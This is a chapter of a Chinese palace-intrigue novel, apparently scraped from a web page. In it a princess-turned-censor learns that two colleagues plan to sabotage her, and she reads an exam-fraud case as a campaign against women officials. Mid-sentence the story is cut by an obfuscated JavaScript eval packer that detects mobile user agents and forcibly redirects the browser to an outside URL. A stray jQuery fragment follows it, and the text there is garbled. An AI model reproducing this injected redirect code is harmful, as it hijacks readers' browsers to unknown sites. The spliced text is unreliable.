往后几日，萧绥日日来往于驻军大营与公主府，早出晚归。
很快，任命萧绥为御史中丞的文书与牙牌终于送抵公主府。萧绥不敢怠慢，转天便穿了官袍去御史台报到。
御史台分为三部，分别是台院、殿院与察院，由侍御史、殿中御史、监察御史领之，合称“三院御史”。三院御史加起来共二十人，当中男臣居多，女官只有零星几个，二十人走马灯似的在萧绥面前过了一遍，光是见礼便足足花费了一整日。
当初元璎推行女子科举时，便力排众议，坚持任命官职时不另辟女官职位，一切程序与男臣无异。如此将男女混为一处，孰优孰劣一眼便知。
官场上少不得要交际应酬，当夜，萧绥被请去明月洲的画舫上宴饮。萧绥原本是不想去的，可又深知平京城不是战场，莽直率性的行事风格在这里行不通。
酒过三巡，画舫里走出来两个人，是知杂事侍御史郑融与知弹事侍御史汤阖。二人慢悠悠的往画舫尾部走去，末了并肩站在甲板上，面对着湖面开始解腰带，作势要小解。
郑融回头环顾四周，见四下无人，一边动作一边说道：“伯振，你说说圣人把公主派到咱们这儿是个什么用意？”
汤阖撩开衣袍的前摆：“无所谓用意，她萧从闻虽是公主，可说到底不过是个兵蛮子，好勇斗狠她在行，玩心眼子她还嫩着呢。再者，战场和在朝堂不是一回事，她乍然空降在这里，身边孤立无援，没有亲信帮扶，哪里能玩得转咱们这摊事？”
月光下，两股水线前后在空中画出两道弧线，哗啦啦的水声从湖面响起。
郑融的声音再次传来：“那倒也是，她既然是尊大佛，咱好生贡着便是了，打不还手骂不还口，可要问咱正经事儿，咱就装傻充愣。”他嘿嘿笑出声：“到时候圣人问她政务办的如何，她一问三不知，圣人再气也只会气她无能，赖不到咱的头上。”
汤阖笑着应和：“正是这个理，我就不信她一个女人家能有多大的能耐，无非是仗着祖荫和圣人的庇护才有了今日的荣耀。我今天就把话撂在这儿，她若能在御史台待过三个月，我汤阖的名字便从此倒着写！”
二人整理好衣衫，摇摇晃晃地回了画舫内，殊不知刚才那番话全被隐在暗处的陆曜听了去。
陆曜与叶重阳不同，叶重阳守在萧绥身边，干的都是明活儿，而陆曜擅长探听、暗访之事，今日他扮作使令[1]混上画舫，隐在暗处听了许久，把御史台那些人的丑态一一看进眼里。
子时不到，酒宴终于散了场。
萧绥为避人耳目，没有骑马，特地安排了公主府的马车前来接她。待四下无人，她摸黑钻进车厢，落座的刹那，握住腰间佩刀的刀柄，轻轻抽出三寸，用手指弹击刀身。
“当——”
刀鸣低沉清冷，渐渐隐于黑暗之中。伴随着一阵轻响，陆曜便掀开帘子，悄无声息地半跪在了萧绥的脚边。
萧绥语气低沉：“刚才船上的话，你都听清了？”
陆曜回答：“听清了。”
萧绥稍稍仰起头，闭了闭眼，手指轻扣刀柄：“细说。”
陆曜当即把郑融与汤阖的那些话一一如实告知，不漏半个字。
萧绥听完，吐出一口酒气，倚在车厢壁上低低笑了一声：“这是要给我捅软刀子，逼我在圣人跟前背负怠政之名。”
话音落下，她沉默了一阵，片刻后开口又道：“这些也罢了，倒是这几日闹得沸沸扬扬的科场舞弊案，今日我曾问过郑融，但他避而不答，摆明了不想让我插手。你对此可打听到了什么？”
科场舞弊案是今年震惊朝野的大事，当中涉及两名考生与一位主考。说是幸州府的两位举人窦淼与曹涵在科考前夕私会主考官郑攸宁，郑攸宁收受贿赂，向二人私下透题。
陆曜低声回答：“属下也只是听到些坊间的闲言碎语，据说此事之所以闹的人尽皆知，是因为那窦淼做事狷狂不羁，曾与友人私下里狂言‘当科状元非我莫属’。此话被有心之人记了下来，转头告到官府，官府那边一查，发现窦淼与曹涵的确曾在考前拜会过郑攸宁，还送了五百两银票做礼，这才有后来郑攸宁被弹劾一事。”
“五百两？”萧绥低低笑了一声：“此事是动摇国本的大事，一旦事发必然抄家砍头，除非是穷疯了，否则郑攸宁再爱财也不至于要冒这种风险。”
“确实如此，再者，属下听闻窦淼是当地有名的才女，才情斐然，也是幸州会试头榜的解元。”
“喔？那就更奇了，读书人向来自傲，既有大才，该是不屑于去走这种旁门左道才是。”车厢内安静了片刻，萧绥忽然想到了什么，接着又问：“弹劾郑攸宁的人是谁？”
“是礼部考功员外郎，陈简。”
“如果没记错的话，郑攸宁是礼部右侍郎，是陈简的顶头上司。在官场上弹劾上司可是犯忌讳的事，若不是有人在背后撑腰，能确保一击即中，那陈简如何会有这么大的胆量？”她顿了顿，又沉声问道：“陆曜，依你看，此事背后的玄机是什么？”
陆曜仔细斟酌了片刻：“属下以为，这无外乎是官场上争权夺利。郑攸宁是丙申年的状元，那一年是推行女子科举的头一年。她当年力压男子拔得头筹，可谓是一鸣惊人，后来又在官场上步步高升，在女官中享有极高的名望。她有名声，有威权，如此被忌惮打压也未可知。”
话音落下，车厢内陷入长久的寂静。就在陆曜怀疑萧绥已经睡着了时，又听萧绥缓缓开了口，声音里夹着些难掩的疲倦与寒意：“权争倒在其次……在我看来，这件案子背后真正的用意，乃是一场对天下女子的绞杀。”
“绞杀”二字吐出口来，重逾千钧。
陆曜心中陡然一凛，黑暗中虽看不清萧绥的脸，但依旧循着她声音传来的方向抬起了头。
萧绥接着道：“陆曜，你难道未曾留意，这案子涉事的三人全是女子么？”
陆曜略有犹疑，尚未接话，萧绥已然语气平缓地把话续了下去：“自圣人推行男女混榜以来，三甲之位几乎全被女子占据，朝中女官的比重也随之越来越大。虽说科考施行誊录制，试卷皆送与专人重抄誊写，遮掩考生的身份，可是天下男子们岂能甘心长此以往地处于下风？如今这窦淼与曹涵出了事，更牵扯上郑攸宁这样女官中的翘楚，他们岂肯轻易放过？”
话到此处，她眼里浮出一丝冷笑：“他们要做的，不过是借着舞弊案的由头，诟病女子登科皆因旁门左道，以此为柄，大作文章。郑攸宁一旦被坐实罪名，便等于撕开了缺口，朝堂上下女官们便将被牵连其中，一个接着一个被拖下水。”
陆曜皱眉：“属下愚钝，难道这便是……”
“是剥皮见骨，文臣们惯用的伎俩。”萧绥抬手揉了揉酸胀的太阳穴，声音里透出几分沙哑：“先从小事发难，然后一点点往深处刨根究底，轮番弹劾。此法可在朝堂上掀起一道漩涡，只要这道漩涡不休止，便可以源源不断地牵涉进更多的人，直至将敌人彻底铲除干净。我自小长于深宫，见过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16175322|180416||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不少名臣就折在这样的手段上。”
符生试探着发问：“那主子可有对策？”
萧绥没说话，半晌的沉默过后，她若有所思地开了口：“陆曜，你可知这朝堂之上的争斗，其根本靠的是什么？”
“属下不知。”
“人望。”她的声音虽轻，可言语却极具分量：“你又可知为何那些县太爷虽官职低微，却能稳坐‘爷’的名头？”
“请主子赐教。”
萧绥轻笑：“因为县官手底下有人，有一呼百应的乡吏胥吏，他们是真正的根基。而朝堂高官呢，看似风光无限，实则不过夹在上下之间，传话受气，哪里称得上什么爷？眼下御史台上下都等着看我笑话，偏我孤掌难鸣，手底下连个得用的人都没有，也难怪他们敢如此肆无忌惮。”
话音落下，萧绥鬼使神差的想起元璎前几日对自己说过的话。那些意味深长的字句，如针如锥，戳得她一阵心惊肉跳。
原来元璎早已算计好了一切，她在此时将自己安插进御史台，为的便是救郑攸宁。蒋殊一事的结局惨痛，郑攸宁绝不可再步蒋殊的后尘。
这是一项极凶险的考验，萧绥心里暗道不妙。当初元璎力保蒋殊而未成，最终仍使事情发展到血染朝堂的地步，可见当中的阻力有多大。而提及二人在朝中的分量，郑攸宁比当初的蒋殊有过之无不及，想来更会令男臣们为坐实其罪名而拼尽全力。
萧绥根本不敢细想自己即将面对怎样的处境，只知道元璎摆明了是拿自己当刀子使，而成败、生死，只能由她萧绥独自承担。
萧绥攥了攥拳头。
这些年萧氏势微，她为了萧氏的将来一再求稳，尽可能不让旁人挑出错处。如今可倒好，越怕什么越给她来什么。
君命难违，她没得选。元璎是个连亲子也能狠心诛杀的人，又岂会怜惜一个外甥女的安危？
萧绥静默半晌，满心愁绪皆化为呼出肺腑的一口气。她抬手按住眼睛，手掌贴面，往下狠狠捋了一把：“也罢，总之这个案子若想封档结案，必然要加盖我的公印。郑融汤阖不是把我当傻子吗？那我就配合他们演一回傻子，将计就计。演聪明人我怕是会露怯，演傻子……本宫在行的很。”
车轮在青石板路上缓缓滚动，车厢内静极，只余一阵细细碎碎的车辙声，带着萧绥一路回到府中。
深夜，萧绥躺在床榻上，眼睫轻阖，看似安睡，实则脑海纷扰难休。她一遍又一遍地回想着眼前朝堂上的局势，暗自梳理各方势力的关系与利害。想到后来，或许是心神耗费过度，又或是晚间应酬时多饮了几杯酒，旧疾忽然袭上头来，一时疼痛如针扎般密密攒攒地刺在脑仁深处。
她不耐地抬起手，指尖按着太阳穴，缓慢地揉按着，试图将疼痛稍稍缓解一些。见毫无效果，只得从榻上撑起身来，探手自床边的小匣子里取出一包合魂散，伸手去够桌上的水壶。
她行军多年，自立惯了，见夜已深沉，不愿多费周章去使唤下人。岂料水壶一经提起，却发现竟是空的。
萧绥眉心微拧，不耐地重新坐回榻上，略略提高了嗓音，冲着外头唤道：“来人，烧壶热水送进来。”
窗外风雪声仍急，她隐约听见有人轻轻应了一声，竟是个男子的嗓音。
公主就寝时，廊下留人值守是规矩，烧水这类粗使活计也是由外面的人做了，再交由近身的侍女送进来。
一切皆是寻常，萧绥未加留意，只忍着越发强烈的头痛，安静地等着热水送进屋来。